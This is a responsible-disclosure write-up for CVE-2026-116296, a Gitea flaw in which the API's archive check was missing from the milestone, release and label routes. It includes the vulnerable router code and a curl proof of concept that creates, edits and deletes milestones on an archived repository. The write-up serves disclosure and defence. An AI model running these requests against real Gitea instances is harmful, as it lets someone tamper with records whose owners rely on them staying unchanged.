
Proof-of-concept and technical analysis for CVE-2026-116296, a Gitea archived-repository write-protection bypass allowing milestone, release, and label modification via API.
Discovered and reported by: Thinul Bopearachchi (@thalewalan) — BL4CK_KN1GHT & Yusufbek10 (independent discovery, same day)
Status: Patched — upgrade to Gitea v28.2.1 or later
Disclosure type: Responsible disclosure via GitHub Security Advisory
Gitea's repository archiving feature is intended to make a repository permanently read-only — preventing any modifications to its content or project metadata. However, in Gitea ≤ v28.2.0, users with write-collaborator access to an archived repository could still create, modify, and delete milestones, releases, and labels through the API, completely bypassing the archival immutability guarantee.
While PR #39839 (shipped in v28.2.0) added mustNotBeArchived middleware to protect Issues, Wikis, and Comments, it missed several other mutating API routes — leaving Milestones, Releases, and Labels unguarded. This is a classic "sibling gap" in an incomplete security patch.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-116296 |
| GHSA | GHSA-6h2f-c8jm-84hc |
| CWE | CWE-862: Missing Authorization |
| Affected versions | Gitea ≤ v28.2.0 |
| Patched version | v28.2.1+ |
| Severity | High (8.1) |
| Attack vector | Network |
| Privileges required | Low (write collaborator) |
| User interaction | None |
| Reporters | Thinul Bopearachchi — BL4CK_KN1GHT (@thalewalan) & Yusufbek10 |
Gitea uses a middleware function mustNotBeArchived in routers/api/v1/api.go to block write operations on archived repositories. PR #39839, merged in v28.2.0, applied this middleware to Issues, Wikis, Comments, and some other routes — but completely omitted Milestones, Releases, and Labels.
// Wiki — correctly protected
m.Patch(mustNotBeArchived, reqToken(), reqRepoWriter(unit.TypeWiki), ...)
m.Post("/new", reqToken(), mustNotBeArchived, reqRepoWriter(unit.TypeWiki), ...)
// Projects — correctly protected
m.Group("/projects", func() {
addProjectRoutes(m, reqToken(), reqRepoWriter(unit.TypeProjects), mustNotBeArchived)
}, ...)
// Milestones — NO mustNotBeArchived
m.Group("/milestones", func() {
m.Combo("").Get(repo.ListMilestones).
Post(reqToken(), reqRepoWriter(...), bind(...), repo.CreateMilestone)
m.Combo("/{id}").Get(repo.GetMilestone).
Patch(reqToken(), reqRepoWriter(...), bind(...), repo.EditMilestone).
Delete(reqToken(), reqRepoWriter(...), repo.DeleteMilestone)
})
The mustNotBeArchived middleware simply checks ctx.Repo.Repository.IsArchived and returns 403 Forbidden if true. Its absence on milestone, release, and label routes means the check is never performed, and the database write proceeds regardless of archive status.
An attacker with write-collaborator access to an archived Gitea repository can:
Archived repositories are specifically used as audit-grade snapshots — compliance records, end-of-project archives, and immutable references. This bypass renders those guarantees void for all project management metadata.
⚠️ For educational purposes only. Test exclusively against repositories you own in an isolated environment.
TARGET="http://localhost:3000"
TOKEN="<your-api-token>"
OWNER="victim_admin"
REPO="archived-target"
curl -s "$TARGET/api/v1/repos/$OWNER/$REPO" \
-H "Authorization: token $TOKEN" | jq '.archived'
# Expected: true
curl -v -X POST "$TARGET/api/v1/repos/$OWNER/$REPO/milestones" \
-H "Authorization: token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"title": "Archive Bypass Test", "description": "Created via API after archive"}'
Expected response (vulnerable): HTTP/1.1 201 Created
Expected response (patched): HTTP/1.1 403 Forbidden
curl -v -X PATCH "$TARGET/api/v1/repos/$OWNER/$REPO/milestones/1" \
-H "Authorization: token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"title": "TAMPERED VIA API"}'
Expected response (vulnerable): HTTP/1.1 200 OK
curl -v -X DELETE "$TARGET/api/v1/repos/$OWNER/$REPO/milestones/1" \
-H "Authorization: token $TOKEN"
Expected response (vulnerable): HTTP/1.1 204 No Content
All three operations succeed on an archived repository — demonstrating full create/edit/delete access to project metadata that should be immutable.
| Date | Event |
|---|---|
| Oct 23, 2026 | Vulnerability discovered and live-reproduced on Gitea v28.1.0 |
| Oct 23, 2026 | Submitted to Gitea security team via GitHub Security Advisory |
| Oct 31, 2026 | Added as collaborator — advisory accepted |
| Nov 1, 2026 | CVE-2026-116296 assigned, credited as Reporter |
| (patch date) | Fixed in Gitea v28.2.1 |
| Nov 1, 2026 | Public disclosure |
This vulnerability was discovered through independent security research and reported responsibly to the Gitea maintainers via their private security advisory process. All testing was performed exclusively on isolated local lab environments. No production systems were accessed or harmed. This disclosure is published after the vulnerability has been accepted and credited by the Gitea security team.
Found independently by @thalewalan (BL4CK_KN1GHT) & Yusufbek10 · Reported Oct 23, 2026 · CVE-2026-116296